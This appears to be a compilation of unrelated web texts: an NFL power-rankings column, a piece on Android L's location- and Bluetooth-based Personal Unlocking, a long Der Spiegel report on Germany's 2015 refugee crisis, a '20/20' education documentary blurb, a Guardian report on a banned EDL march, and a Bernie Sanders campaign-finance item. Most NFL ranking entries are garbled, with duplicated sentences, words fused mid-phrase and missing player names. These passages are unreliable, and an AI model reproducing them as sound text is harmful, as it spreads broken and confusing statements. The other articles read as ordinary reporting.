21 Washington Redskins 1-2, Last Week: 28 (+7) Kirk Cousins is a hell of a lot better than I thought. They took a really tough Eagles team to the last few minutes behind a really solid performance by Cousins–427 passing yards and three touchdowns against the Eagles is really promising. This team will be a nuisance to juggernauts. I was way wrong about this team last week. Well,is a hell of a lot better than I thought. They took a really tough Eagles team to the last few minutes behind a really solid performance by Cousins–427 passing yards and three touchdowns against the Eagles is really promising. This team will be a nuisance to juggernauts. I was way wrong about this team last week.
20 Pittsburgh Steelers 2-1, Last Week: 25 (+5) Another team I was way wrong about. At first glance at the box score, you’d think the Steelers were an offensive juggernaut, putting up 37 points against the vaunted Carolina defense. Self-destructive mistakes by the Panthers contributed to this, but the Steelers are definitely better than I thought.
19 Buffalo Bills 2-1, Last Week: 16 (-3) E.J. Manuel is not good. Some of his passes just look terrible, he makes major mistakes (penalty resulting in safety), and he reverts to running out of the pocket far too often. I don’t think teams are scared of the Bills at all and they only reason I have them this high is because of their record.
18 Dallas Cowboys 2-1, Last Week: 21 (+3) Tony Romo and have an irrational belief that they’re going to turn it around soon. The Cowboys have an atrocious defense, allowing 448 total yards to the lowly Rams. The Cowboys are going to continue to put up points, and they’ll have to win games 40-37 every week, but I loveand have an irrational belief that they’re going to turn it around soon.
17 Baltimore Ravens 2-1, Last Week: 18 (+1) Barely defeating Cleveland isn’t actually something to feel ashamed about anymore! The Ravens are going to continue to defeat mediocre teams by scoring five field goals and playing good defense, but when they play good NFC teams I believe they are going to be exposed.
16 New York Jets 1-2, Last Week: 17 (+1) Matt Forte. I am really tempted to rank the Jets higher. If they didn’t have such costly mistakes at the end of games, this would be a top 10 team. Their defense is just so good, giving up just 33 yards to one of the best running backs in the league,
15 New Orleans Saints 1-2, Last Week: 11 (-4) If I did tiers, the Saints, Packers, and Patriots would be in the “what the hell is wrong with us?” tier. Another ugly game for the Saints’ offense, scoring just 20 points against a really bad Vikings team. I am curious to see how the Saints will play against better teams, they may just get blown out.
14 Green Bay Packers 1-2, Last Week: 9 (-5) The Houston Texans have a better record than us. This really pains me to rank the Packers this low, but I can’t ignore that fact. See intro to article for real analysis.
13 Carolina Panthers 2-1, Last Week: 7 (-6) I can’t figure out Carolina. Every time they convince me to go the other way, they either get blown out or obliterate the opposition. If their defense plays as poorly as it did against Pittsburgh, the Panthers will win 3-4 games more this year.
12 New England Patriots 2-1, Last Week: 10 (-2) I feel a breakout game coming. It was supposed to be against the Raiders last weekend, but I still believe. Putting up 16 points against the Raiders is pretty pathetic, but I just can’t see them stooping any lower.
11 Chicago Bears 2-1, Last Week: 13 (+2) Jay Cutler style of play. Destroy mediocre teams, and struggle against formidable ones. The Bears are a great team right now, don’t get me wrong, but I think they’ve really benefitted from poor QB play of the opponents, especially second-half Colin Kaepernick and Geno Smith It is so like the Bears to get a gimme pick six to open the game on Monday Night Football. They will continue to do their age-oldstyle of play. Destroy mediocre teams, and struggle against formidable ones. The Bears are a great team right now, don’t get me wrong, but I think they’ve really benefitted from poor QB play of the opponents, especially second-halfand
10 Detroit Lions 2-1, Last Week: 15 (+5) Detroit has an incredible defense. They are allowing 20 fewer yards a game than the second-ranked ranked overall defense. I’m obviously biased as they just completely shut down Aaron Rodgers, but I think their defense is legitimate and if they keep it up, I believe they run away with the NFC North.
9 San Francisco 49ers 1-2, Last Week: 3 (-5) I am still not panicking. If Kaepernick had come out and said what Rodgers said, telling his fans to relax, I would believe it. The Niners lost to a very solid Cardinals team in the last few minutes of the game, and it’s not like Kaepernick has completely lost it. He didn’t throw any picks in this game, and ran for 54 yards. I can’t see the Niners winning less than 10 games.
8 Indianapolis Colts 1-2, Last Week: 12 (+4) Andrew Luck had a career day against the horrendous Jags, throwing for 370 yards and four touchdowns. This is the performance I was expecting, and I still believe the Colts will easily make the playoffs. had a career day against the horrendous Jags, throwing for 370 yards and four touchdowns. This is the performance I was expecting, and I still believe the Colts will easily make the playoffs.
7 Atlanta Falcons 2-1, Last Week: 8 (+1) Matt Ryan play well against a good defense, but the Falcons look scary good on offense right now–488 total yards against the Bucs last Thursday, and extremely efficient on third down, converting 8-of-11. I still need to seeplay well against a good defense, but the Falcons look scary good on offense right now–488 total yards against the Bucs last Thursday, and extremely efficient on third down, converting 8-of-11.
6 Arizona Cardinals 3-0, Last Week: 14 (+8) Drew Stanton at the helm is really impressive, especially considering the run game with Andre Ellington, which was supposed to be the strong suit, really struggled. Ellington had 18 carries for just 62 yards, a 3.4 yards per carry average. I believe this is the year we have three NFC West playoff teams. Bruce Arians is officially my way too early pick for Coach of the Year. Beating the 49ers withat the helm is really impressive, especially considering the run game with, which was supposed to be the strong suit, really struggled. Ellington had 18 carries for just 62 yards, a 3.4 yards per carry average. I believe this is the year we have three NFC West playoff teams.
5 San Diego Chargers 2-1, Last Week: 6 (+1) The Chargers took care of what I think is a fraudulent Buffalo Bills team on Sunday, defeating them 22-10. This is what good teams do: beat decent teams convincingly, never giving a hint of anything but domination.
4 Philadelphia Eagles 3-0, Last Week: 5 (+1) McCoy and Darren Sproles, the Eagles still overcame a pesky Washington Redskins team playing out of its mind. I’m not worried about their terrific duo of running backs, it seems like a fluke. I expect the Eagles to go 12-4 and make a legitimate run at the Super Bowl. Despite shaky performances from Leseanand, the Eagles still overcame a pesky Washington Redskins team playing out of its mind. I’m not worried about their terrific duo of running backs, it seems like a fluke. I expect the Eagles to go 12-4 and make a legitimate run at the Super Bowl.
3 Cincinnati Bengals 3-0, Last Week: 4 (+1) Joe Flacco won, but I think Dalton is a significant downgrade from Flacco. The Bengals will always be plagued by having Andy Dalton as their quarterback, but they are stacked at nearly every other position on the field and this is undoubtedly a playoff team. If they do make the Super Bowl, it will end the age-old debate: Can a bad quarterback on a great team succeed win the Super Bowl? This may have been answered already whenwon, but I think Dalton is a significant downgrade from Flacco.
2 Denver Broncos 2-1, Last Week 2 Denver lost in overtime in what probably will end up being the best of game of the year against the Seahawks. On a neutral field, I think Denver wins that game six out of 10 times, but the 12th Man really hurts a quarterback that loves to audible. I think Denver will still go 12-4, and that last drive to send the game to overtime gave me confidence that this team hasn’t regressed enough to be lowered just yet.
1 Seattle Seahawks 2-1, Last Week: 1 Russell Wilson has taken a significant step forward this year, and Seattle still has the best chance at winning the Super Bowl. The Seahawks remain at No. 1 this week after they defeated what I believe to be the toughest competition they’ll have all year. Again, their loss to San Diego was in a sauna of a stadium, not to mention they were without their insane home field advantage in the first place. I believehas taken a significant step forward this year, and Seattle still has the best chance at winning the Super Bowl.
Highest Rise: Arizona Cardinals (+8)
Lowest Fall: Carolina Panthers, Miami Dolphins (-6)
Coming out later in the week I will be writing a column with my picks against the spread, as well as bold(ish) predictions for each game. In order to stay fair my pick for the Thursday night game is Washington (minus-3.5) over the Giants. Kirk Cousins throws for more than 300 yards again for the second week in a row and Rashad Jennings rushes for less than 60 yards against a stout Redskins rush defense.
Thanks for reading, and let me know where I’m wrong/where I’m right in the comments below! |
At Google I/O , Google introduced Personal Unlocking as part of the Android L as a way to keep devices secure, but not overwhelm users so that they don't want to set up a security system on their phone. With Personal Unlocking, Google will be incorporating features like location and connected Bluetooth devices to ensure that the phone is in safe hands and not in the hands of thieves.
Location: For example, if you've designated a secure location using GPS, like your home and office, then you won't be bothered with a lock screen that begs you to enter a PIN, passcode, or pattern to unlock. If you're outside of the geofence, then a lock screen will ask you for your passcode as a secure measure. This makes it more manageable for consumers who want a secure phone, but don't want to be annoyed by security when it's not needed, especially if the phone is being unlocked to be used at home.
Bluetooth: Another way to manage Personal Unlocking is to connect to trusted Bluetooth devices. If your phone is connected to your phone's Bluetooth, or your Bluetooth wearable--like your fitness band or your smartwatch, then you won't need to enter a passcode. Your Bluetooth connection serves as a key to unlock your phone, making it more convenient. If you walk out of Bluetooth range, then whoever picks up your phone will need to enter in a password to unlock the device.
Is this a feature you're excited for in L? |
The images were almost surreal. There were people who had just completed a brutally difficult journey, exhausted, but happy. And there was the crowd, lined up on both sides, cheering and clapping as though they themselves had made the trip.
Such scenes have played out across Germany in recent days, and they are more than a little reminiscent of the finish lines at marathons in Hamburg, Cologne, Berlin and elsewhere. The mood was almost festive, euphoric. One could almost forget that the refugees arriving at train stations around the country were not running against the clock. They were running for their lives. The expressions on some faces made it clear that they hadn't yet been able to completely grasp what was happening to them.
The scenes, which included dozens of people holding up signs reading "Refugees Welcome," were quite remarkable. The Germans -- not all, but enough that they are now seen as being "the Germans" everywhere else in the world -- were celebrating the Syrians, the Eritreans, the Iraqis and the Afghans who had made it to their country. And they were celebrating themselves.
It is as though the Germans are standing up and saying: "We are not who you have long thought we were." We are not closed hegemons. We are open-hearted. It was half-truth and half-staged, but it was appealing enough that one could bask in the feeling without pangs of guilt. Even Chancellor Angela Merkel, the perennial skeptic, was moved.
But what will happen if the influx of refugees doesn't abate? What will be left when the initial euphoria wears off and everyday life returns? How will Germans react when the celebratory images of this week are replaced with the reality of housing tens of thousands of newcomers?
The chancellor has made her decision: more help, which likely also means more refugees. Refugees Welcome. It is a position that will be difficult to back away from should the public mood shift, and it is a position she will be judged on in the next election in 2017.
She has already lost one close ally: Horst Seehofer, head of the Christian Social Union (CSU), the Bavarian sister party to Merkel's Christian Democratic Union (CDU). Seehofer, who is also the governor of Bavaria, has invited Hungary's hardline nationalist prime minister, Viktor Orbán, to the next conference of his party's state parliament group. Seehofer says the invitation gives the CSU an opportunity to "find a solution together with (Orbán)," but it is also a clear affront to the chancellor. Seehofer says it was wrong for Merkel to circumvent existing EU asylum rules by encouraging refugees in Hungary to continue on to Germany. "That was a mistake that will be with us for a long time. I don't see a way to put the cork back in the bottle," Seehofer says. "We will soon find ourselves in an emergency situation that we will no longer be able to control."
'Uncoordinated Influx'
Meanwhile, Hannelore Kraft, the Social Democratic (SPD) governor of North Rhine-Westphalia, Germany's most populous state, made clear at the beginning of the week that the number of refugees to be expected this year will likely rise from the 800,000 the federal government forecast in August. She also made clear that the effort needed to deal with the influx will be much greater than previously thought.
Just how great that effort might be became clear on Thursday morning during a conference call of all state interior ministries in addition to the federal Interior Ministry in Berlin. As part of the meeting, states indicated how much shelter capacity they possessed, and the results, according to the phone conference's protocol, were not particularly promising. Seven states -- including Baden-Württemberg, Hesse and Rhineland-Palatinate -- reported that they had no remaining capacity whatsoever. Bavaria complained of "uncontrolled access pathways." And Schleswig-Holstein lamented the "uncoordinated influx into the reception facilities." The Interior Ministry in Berlin also had an alarm bell to sound: Austria, through which refugees must travel on their way from Hungary to Germany, is beginning to diverge from the joint approach.
The conference call provides a small insight into the immense challenges facing Germany this year and in the years to come. Indeed, the effects are likely to remain with the country for decades to come -- and will have consequences for Germany's identity, its prosperity and for its self-image. Against that backdrop, the question arises: Can we handle the crisis? Or will the crisis handle us?
Either is possible. It could be that Germany, with its gleeful welcoming party, is currently sowing the seeds for problems that the country will face in 2040. It could be that the foreigners will remain foreign, that they will create a new, parallel underclass. Simultaneously, it could also be that Germany is currently solving those problems that would, without immigration, face the country in 2040: Labor market problems, pension fund problems and old-age care problems.
It will take many years before it becomes clear in which direction the pendulum is swinging. But if Germany wants the opportunities to win out over the dangers, then that state will have to confront the chaos and do all it can to integrate the newcomers, the majority of whom are likely to stay. And that project will have to begin soon, even if the state is currently having difficulties accelerating asylum procedures, providing therapy to traumatized children and training adults for the labor market.
'Grotesque'
Indeed, even the very first requirement -- that of finding shelter -- is proving a challenge. Many cities are running out of facilities that can be quickly transformed into asylum hostels. And shelters made of containers, an idea that many have sought to apply, are in short supply, as became clear during a refugee summit held by CDU lawmakers in Rhineland-Palatinate earlier this week. And if they can be bought, the prices are high and the waiting list is months long. By then, winter will long since have set in, rendering insufficient the tents where many refugees are currently being sheltered.
German bureaucracy and building ordinances, not surprisingly, are exacerbating the challenge. "At times, it is grotesque what is being blocked," complains Olaf Kühn, mayor of the small Hesse town of Seeheim-Jugenheim. He relates a case where the banister of a staircase was just a few centimeters too low. Another time, he says, steps were just a tiny bit higher than allowed. But the most common hurdle is fire protection regulations. That was even a problem for three apartments belonging to the protestant charity Diakonie in the town of Mühltal near Darmstadt. The apartments had earlier provided housing to the disabled, but fire protection rules are stricter for apartments housing refugees -- as Mühltal Mayor Astrid Mannes was shocked to learn.
Still, some things are likely to change. As part of the new "German flexibility" that Merkel recently called for, an "expediting law" will be on the agenda of the state-federal refugee summit planned for Sept. 24. Preparatory meetings have already established widespread agreement that more refugee hostels could be built in industrial areas and that noise and proximity regulations could be "modestly relaxed." Lawmakers also want to relax standards that apply to the conversion of former schools or hospitals.
It's not just municipal politicians who are waiting eagerly for such changes. States, which are responsible for reception facilities, are also facing extreme difficulties that could be slightly alleviated by even the smallest change made to the regulations. Recent weeks in Berlin, for example, have seen refugees being forced to sleep out in the open in front of the main reception center there.
The situation in Dortmund isn't quite that bad, but the path to a bed is long. First, those arriving by train are taken to a hall near the main train station, where aid workers are waiting with water and, should it be needed, clothing. But they are only allowed a few hours rest before being bused out to an emergency shelter somewhere else in the state, usually a tent, a gymnasium or an unused school.
A Free Bed
It used to be that refugees arriving at the train station were able to rest for five days at a reception center. But the closest such facility, in the Dortmund neighborhood of Hacheney, only has 350 beds. Today, that is barely enough to shelter pregnant women, families with small children and the sick. Everyone else, those who are assigned to emergency shelters strewn about the state, must be bused to Hacheney to register and then bused back. Not long later, they are relocated to a central shelter before, finally, being sent to one of the more permanent facilities located in a town, provided a free bed can be found.
"It's all worse than a conveyor belt," says Wahed Kabir, the deputy director of the facility in Hacheney. And already this year, that conveyor belt has come to a screeching halt nine times and asylum seekers who had arrived for registration found themselves standing in front of a locked door. The reason: With 1,000 people on the premises, the facility had reached capacity.
The situation may soon become even worse. Merkel's cabinet recently agreed on a procedure aimed at speeding up the repatriation of migrants from the Balkans, who have virtually no chance of being granted asylum status. Part of that plan foresees not distributing such migrants among smaller facilities in towns and villages. Bavaria has already opened a special hostel for such migrants. But other states are simply intending to keep them in normal, central reception facilities for longer. That, though, will mean a shortage of beds for refugees from Syria and other countries whose applications are likely to be accepted.
The new procedure explains why Hesse's central reception facility is overcrowded. Indeed, the state is constantly being forced to open new shelters in other cities and towns. The problem, though, is that the Federal Office for Migration and Refugees (BAMF), which has been charged with rapidly processing migrants from the Balkans, doesn't always have branch offices in such towns. And that makes the government's new plan largely worthless.
BAMF President Manfred Schmidt, for his part, has cast blame at the states -- for continually opening up new reception facilities. His agency, Schmidt says, "can't keep up by constantly opening up new branches."
It is the same old blame game. Though in this instance, the federal government and the German states are largely in agreement that BAMF is to blame. "BAMF isn't up to the task," said North Rhine-Westphalian Governor Kraft. A leading SPD politician in Berlin said that the agency "is definitely not a problem solver."
A Quarter Million Unresolved Cases
State and federal officials accuse Schmidt's agency of having dragged its feet for years in the resolution of tens of thousands of asylum cases. He has also been accused of not doing enough to secure additional federal funding to hire more asylum agents.
And the problem isn't getting any easier to solve. There were 150,000 unresolved cases last October. By April of this year, that number had risen to 200,000 and now the total is more than a quarter million. Every month, BAMF adds more unresolved cases to the pile. The result is that those refugees with good chances of obtaining asylum status have to wait extended periods before they can start their new lives and the deportations of the others are repeatedly delayed.
DER SPIEGEL Graphic: Asylum Application Backlog
Somewhere in these statistics, Tesfalem Beyene, a 31-year-old asylum applicant from Eritrea, can be found. For the last 13 months, he has been sitting in a refugee hostel in Anklam, a small town just inland from the Baltic Sea coast, waiting for his case to be resolved. But nothing happens, even though most Eritreans are granted asylum.
Beyene would like to restart his life, move into his own apartment and find work. He envisions himself driving construction machinery, like he used to, or working in a care home. At the end of August, he finally received a letter from BAMF. But it wasn't the long-awaited decision. "Because of the increased number of asylum applications," the letter read, he would have to continue waiting patiently.
Still, four new application processing centers are to be built soon in Nuremberg, Unna, Berlin and Mannheim, which should speed things up, BAMF President Schmidt hopes. Cases such as Beyene's -- where the outcome is largely clear -- are to be sped up in particular. By the end of 2016, the agency is to make 2,000 new hires, including several hundred people authorized to make case decisions.
But even that is too little, says migration expert Dietrich Thränhardt. "We need to make a much bigger effort," he says. According to his calculations, BAMF decided on an average of 20,000 applications a month during the first half of the year. But even if that number were to be doubled, the number of unresolved cases would continue to grow. To work through the 250,000 pending cases, in addition to handling the new ones to come, Thränhardt says, thousands of new decision-makers, and not hundreds, would be necessary.
'The Situation Is Too Serious'
Such numbers could help explain why Schmidt sometimes seems so despondent. They also, though, provide insight into the deepening conflict between the federal government and the German states. The situation is such that one agency leader is no longer a large enough scapegoat.
"How are things going to end?" groans a refugee official from one of Germany's three city-states. "The Federal Interior Ministry is doing nothing except for sending us new numbers every day." Many state governors are bristling for a fight and are angry at the results of a recent meeting on the refugee crisis among leaders of Merkel's governing coalition. "The money won't be enough," says Torsten Albig, governor of Schleswig-Holstein.
Berlin Mayor Michael Müller is even more explicit. "We don't have any more time. The situation is too serious. The federal government must finally abandon its stalling tactics," he says. The response to the crisis has been too limited, too parsimonious and too tentative, he believes. "In July, we agreed with the chancellor on flexible help from the federal government," Müller says. "Fixed amounts don't help us when the number of refugees is climbing by the day."
Meanwhile, the federal government in Berlin is disappointed in the states. "Now is not the time to complain. It's time to roll up your sleeves" and get to work, says Ole Schröder, a state secretary in the Interior Ministry. He says that SPD complaints about a coalition agreement made on the watch of Vice Chancellor Sigmar Gabriel, who is also head of the SPD, and Hamburg's SPD Mayor Olaf Scholz are the height of hypocrisy.
The anger on both sides is more than just bravado. But no matter how intense the differences between Berlin and the German states become, the decisive battle in the refugee crisis is being fought elsewhere: in Brussels. For the first time, Germany opened the door for refugees in Hungary. But if the majority of EU states continue to keep their doors locked, Germany's "Refugees Welcome" project is in trouble.
A New Cold War
On Wednesday, Denmark suspended train connections with Germany in order to prevent asylum-seekers from traveling through the country on their way to Sweden. The political signal was clear: Even if Germany has softened to the plight of refugees in Hungary, Denmark is not going to play along.
According to an internal European Commission paper from the beginning of July, the EU executive expects an additional 2 million Syrians to leave their homes by the end of this year. Greek diplomats fear that more than 100,000 refugees are planning to head to Greece from Turkey in the coming weeks. On the Greek island of Lesbos alone, there are 18,000 refugees hoping desperately that they will soon be able to continue their journeys. They are sleeping in parks and on the streets -- and they don't have enough to eat and drink.
Most are hoping to make it to Germany. Which is why Germany is hoping to establish a quota requiring refugees to be distributed among all EU states.
Many countries are continuing to reject the plan, despite European Commission President Jean-Claude Juncker's emotional speech on Wednesday in which he accused some EU member states of being too selfish in the crisis. The Committee of Permanent Representatives in Brussels -- made up of ambassadors from each member state -- is deeply divided. On the one side are those countries in favor of a quota, like Germany, France and Austria. The other side is made up primarily of Eastern European countries like Hungary, Czech Republic, Slovakia and Poland. East vs. West: One Western European diplomat even referred to it as a "Cold War."
A Chance of Integration
Juncker and Luxembourg Prime Minister Xavier Bettel, whose country currently holds the rotating presidency of the European Council, would like to obtain a decision on the quota as early as Monday at a meeting of European interior and justice ministers. "Monday is an important meeting and, because voluntary commitments don't appear to be enforceable, we should agree on a quota. We don't have to wait for European heads of state and government to do so," Bettel says.
There's a reason for the haste. EU leaders generally make their decisions unanimously, but within the circle of interior and justice ministers, those seeking to block a proposal can be overruled. And if that doesn't work? Then two hopes would be lost at once -- the idea that Germany's burden could be shared. And that the refugees have a realistic chance of integration in the country.
Quickly providing a roof over people's heads alone isn't necessarily going to win hearts. Successful integration hinges on what happens over the longer term in the schools, on the labor market and through the efforts of social workers. In all of those respects, the number of refugees cannot be permitted to get so large that the integrative momentum crumbles -- when it comes, for example, to helping return stability to the life of a minor who has been traumatized and has fled on his or her own to Europe. A related and urgently needed law will go into effect on Jan. 1 that will make it possible to distribute young migrants among all German states. This group, too, has grown so large that major cities like Berlin and Munich are no longer able to care for all of them.
In 2014, German youth welfare offices were responsible for a total of 10,400 children who fled their country without a guardian. But this year, Munich alone has already registered 6,000 children and youth, with most coming from Afghanistan, Eritrea and Somalia. The German states have pledged to provide care for these children based on youth welfare policy standards, but it's a big promise and one that is already being broken in thousands of cases.
'Can You Really Call that Child Welfare?'
Some 700 youth, for example, are currently being cared for according to "bare minimum standards" at Munich's Bayern-Kaserne military barracks, laments Andreas Dexheimer, the social education worker with Diakonie, the social welfare organization of Germany's Protestant churches, in charge of social services at the refugee center. He says that youth are only transferred to social care homes or homes for curative education after it is determined where they came from, how old they are and their name. In those facilities, each social worker is responsible for caring for a maximum of five youth. But in and around Munich right now, social workers are caring for an average of 10 youths each, with the number rising.
"Can you really call that youth welfare?" Dexheimer asks before answering the question himself. "No, the system has been collapsing for the past year and a half." Meanwhile, Klaus Honigschnabel of Munich's Inner Mission, likewise a Protestant social services organization, adds, "It's as if the ocean were being emptied out and all the water has to be captured in a test tube." It isn't money that's the problem, either. "Working together with politicians is going very well," he says. The problem is a lack of workers.
The market for social workers in Germany's metropolitan areas is virtually empty. Yet hundreds are needed to address the youth issue alone. If you add to that the remainder of the refugees, then thousands of social workers are required. But there aren't any and there won't be a fresh supply of social workers available anytime soon.
Even the 10,000 positions the federal government is creating in the Federal Volunteer Service won't do much to alleviate the situation. What are needed are real experts equipped in dealing with youth suffering from serious psychological problems, not volunteers keen to help.
Daniela Schneckenburger, the head of youth welfare in Dortmund, is sitting in her office on the eighth floor of city hall and trying to bring order to the almost uncontrollable chaos. By the end of the year, she estimates that 1,400 unaccompanied refugee children will arrive in her city, almost four times as many as last year. Currently, the city is taking incoming youth as far away as the state of Lower Saxony if there is a bed free. "We want to manage this and we will manage, but nobody knows how," says Schneckenburger, who admits to moments of pure despair. Even youth welfare offices are running out of personnel for dealing with the situation. In Munich right now, each guardian is required to take responsibility for 60 unaccompanied young refugees. Even the best of good will and good intentions by all the volunteers isn't enough to tackle the problem. Ultimately, it's the professionals who will have to step up to the plate -- in schools, too.
Putting German Schools to the Test
Take the example of Schifferstadt, a town in the state of Rhineland-Palatinate. At the Nord Elementary School, students in class 4D recently conducted a test of bicycle riding skills that involved navigating an obstacle course. Only one boy required assistance from the teachers to get on his bike. He began wobbling and then fell over, scratching on his elbow. Teachers at the school must now determine what the 10-year-old is capable of doing, but also what he can't do. It may be that the next few days are less painful, but they certainly won't be easy.
Ibrahim came to Schifferstadt with his mother and two siblings, and school attendance was mandatory upon his arrival. "That happens overnight," says school director Merten Eichert. The government ministries and teachers are facing a unique challenge: They have to absorb thousands of refugee children within a matter of days whom they hadn't even known about before departing for summer vacation.
They must now teach them German and slowly integrate them into normal classrooms. They also have to be incorporated into meal planning as well as the day-care and recreational offerings of all-day schools. At the same time, they have to help these children overcome the horrors they have escaped in their home country.
During her work on her doctoral thesis, Munich psychologist Seval Soykök came to the conclusion that 22 percent of Syrian refugees aged 14 and under suffer from post-traumatic stress disorder. An additional 16 percent suffer from other psychological effects of the terrible things they have experienced. Teachers told Schifferstadt principal Eichert that some refugee children had reacted to a fire drill as though a bombing raid had begun.
'We'll Have to Wing It'
It's a massive task for the schools. Is it too big? In the state of North Rhine-Westphalia alone, 10,000 more children showed up in classrooms this year than expected. And that doesn't include those who are still in reception centers or who only just arrived by train from Hungary. "We can't plan for the future," says Sylvia Löhrmann, the state's education and research minister. It is estimated that one-third of all refugees are under the age of 18.
"Immigrant children are not a novelty for us," school director Eichert says calmly. He says the schools will just be fuller now. But he also adds that the "range of the students abilities will also widen, creating a more difficult teaching environment."
Educational professionals are thus warning against putting three or more refugees in a single class. Stefani Droll, the head of the Koblenz's Integrated Comprehensive School (IGS) says the refugees provide an excellent opportunity at German schools for both sides. During this school year, IGS Koblenz took in 11 children from Syria and two from the Balkans. They receive new queries from interested people every day. Droll says that the education levels Syrian children already have assure they will be successful learners in German schools.
At the same time, she warns, "that only works up to a certain threshold." She says it's easy to integrate two students in each classroom but beyond that it gets difficult.
'Initial Costs Are Enormous'
Vocational schools are being particularly challenged and overwhelmed. Many refugees are arriving at the doors to these schools in order to prepare for working life. "The young refugees are motivated and want to learn German," says Herbert Huber, the chairman of the Association of Vocational School Teachers in the state of Baden-Württemberg. "But integration requires considerable time, money and effort." He says that if you include preparation courses and the actual professional training, then the time it takes for a refugee to complete everything is five to seven years. "The initial costs are enormous," says Huber. "And politicians are doing too little to explain this."
For vocational schools in his state alone, his organization is calling for 200 new teaching positions per year. Meanwhile, the national association of vocational school teachers is calling for 20,000 such positons across the country, not including social workers and interpreters. If you estimate that each position will cost at least 55,000 per year as the Education Ministry in Baden-Württemberg does, then it quickly becomes clear that the government is facing billions in costs.
The same also applies to the labor market authorities -- the only difference being that they have a little more time to prepare than the schools do. Under current rules, refugees are allowed to start working after three months, but only if an EU citizen is not interested in the position. Most end up being the responsibility of the Federal Labor Office. And it takes months before the job center is responsible for making welfare payments.
If you go by the current official forecast that 800,000 refugees will come to Germany this year -- one that is already considered by many to be out of date -- and that as many will arrive next year, then the Federal Labor Office will require an estimated 3,300 additional staff members. But as with almost all figures these days, this one too will likely be obsolete in a matter of weeks, if not days.
'Early Intervention'
The hope of many at the job centers, but also their greatest burden, is that public opinion in Germany won't shift. There is no single argument that can quiet skeptics as quickly as the one that Germany urgently needs workers. Many expect the job centers to quickly help refugees find work so that they won't have to rely on state welfare payments in the first place.
Still, the Federal Labor Office is no different from the rest of the government's agencies in the sense that its staffers know very little about the refugees who have arrived. They know their ages, their gender and their nationality -- assuming the information provided is correct. But they know little else. That's why the agency has sent people into the refugee accommodations in order to learn more -- like the languages spoken by the refugees, what kind work they would like to have and the skills they might bring to those jobs. The pilot program, called "Early Intervention," has been tested in nine cities since 2014 and will become the national standard in January 2016.
The aim of the project is to help prevent disappointing both refugees' and German expectations. But the early results have been sobering. In an analysis for the Federal Interior Ministry, the Federal Labor Office wrote that, of the 850 refugees who participated in the project, only 65 found work immediately.
The most common problem is insufficient knowledge of German. When asked what they would do to remedy the situation, Labor Office staff said they would like to see German language courses offered to all from the moment their asylum procedures start and not only at the point when refugees are given residence permits.
So what will happen to Germany and its refugees? Will the majority opinion hold, or will it begin to shift? The country still has 2.8 million unemployed. What happens if these people start to believe that they are being passed over for jobs in favor of refugees? And what happens if, when they get asylum protection, the refugees start competing with locals for apartments in the low-price market in major cities, for which the demand is already highest?
On Monday, many conservative parliamentarians returned to Berlin after visits to their electoral districts. "Normally, all we hear is praise for the chancellor," says one CDU politician. "This time, there was quite a bit of skepticism mixed in."
It was the fear of having begun something that can no longer be stopped -- and the unpleasant feeling of not knowing where things are heading. One thing is clear though: Regardless how the refugee crisis proceeds, it will definitely continue.
By Melanie Amann, Matthias Bartsch, Jürgen Dahlkamp, Markus Dettmer, Jan Friedmann, Christine Haas, Veronika Hackenbroch, Horand Knaup, Peter Müller, Conny Neumann, Maximilian Popp, Cornelia Schmergal, Barbara Schmid, Fidelius Schmid, Andreas Ulrich and Wolf Wiedmann-Schmidt |
“Stupid in America” is a nasty title for a program about public education, but some nasty things are going on in America’s public schools and it’s about time we face up to it.
Kids at New York’s Abraham Lincoln High School told me their teachers are so dull students fall asleep in class. One student said, “You see kids all the time walking in the school smoking weed, you know. It’s a normal thing here.”
We tried to bring “20/20” cameras into New York City schools to see for ourselves and show you what’s going on in the schools, but officials wouldn’t allow it.
Washington, D.C., officials steered us to the best classrooms in their district.
We wanted to tape typical classrooms but were turned down in state after state.
Finally, school officials in Washington, D.C., allowed “20/20” to give cameras to a few students who were handpicked at two schools they’d handpicked. One was Woodrow Wilson High. Newsweek says it’s one of the best schools in America. Yet what the students taped didn’t inspire confidence.
One teacher didn’t have control over the kids. Another “20/20” student cameraman videotaped a boy dancing wildly with his shirt off, in front of his teacher.
Watch this free online documentary and make up your own mind…is the American school system producing stupid citizens? |
The home secretary, Theresa May, today authorised a ban on a planned march by far-right group the English Defence League (EDL), due to take place in Leicester on Saturday.
The blanket ban prevents any marches in the city over the weekend, although it does not prevent groups holding "static demonstrations".
A Home Office spokesman said: "Having carefully balanced rights to protest against the need to ensure local communities and property are protected, the home secretary gave her consent to a Leicester city council order banning any marches in the city on 9 October."
It is the second time in the past two months that an EDL march has been banned. In August, the home secretary ruled that the organisation could not stage a march in Bradford. However, about 700 EDL supporters staged a "static demonstration" which was marred by violence and racist chanting.
There were reports yesterday that EDL members intended to flout the ban. However, EDL spokesman Guramit Singh said the organisation had yet to decide how it would respond. "We will be having a meeting tonight and decide what to do then. There are a lot of options open to us."
The Home Office said anyone who organises a prohibited march could be jailed for three months or face a £2,500 fine, while anyone found guilty of taking part in such a rally could be fined up to £1,000.
Leicester city council applied for the ban at the request of the police after formal notification was received that both the EDL and Unite Against Fascism intended to march in the city.
Sheila Lock, Leicester city council's chief executive, welcomed the ban, adding: "Even though the home secretary has given her consent it does not prevent any static protests taking place, which are still lawful provided they remain peaceful, as we, nor the police, have legal powers to prevent them."
Chief superintendent Rob Nixon, commander of policing in the city, said: "The police and council have been working together closely for some time to plan for and manage any static protests. We shall do everything possible to ensure that any protests on 9 October remain peaceful and pose the least amount of disruption possible for those not involved in the protests."
The decision to ban the EDL march follows an ongoing campaign by anti-racism group Hope not Hate as well as faith and community groups in Leicester.
"We welcome the ban but we are deeply alarmed by reports that the EDL may be planning to flout it," said a spokesman for Hope not Hate.
"This demonstrates once again that the EDL are only interested in dividing communities and causing trouble."
The EDL formed in Luton last year and has become the most significant far-right street movement in the UK since the National Front in the 1970s.
It claims to be a peaceful, non-racist organisation opposed only to "militant Islam". But many of its demonstrations have ended in confrontations with the police after some supporters became involved in violence, as well as racist and Islamophobic chanting.
In May, the Guardian revealed that the EDL was planning to step up its Islamophobic street campaign, targeting Tower Hamlets in London and Bradford. |
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Sen. Bernie Sanders will be unveiling new legislation on the Senate floor today that will put an end to the Citizens United system of legalized bribery by making public funding available to political candidates.
In a statement, Sen. Sanders (I-VT) said, “We are talking about a rapid movement in this country toward oligarchy, toward a government-owned and controlled by a handful of extremely wealthy families…I will be introducing legislation which calls for public funding of elections, which will enable any candidate, regardless of his or her political views, to run for office without being beholden to powerful special interests.”
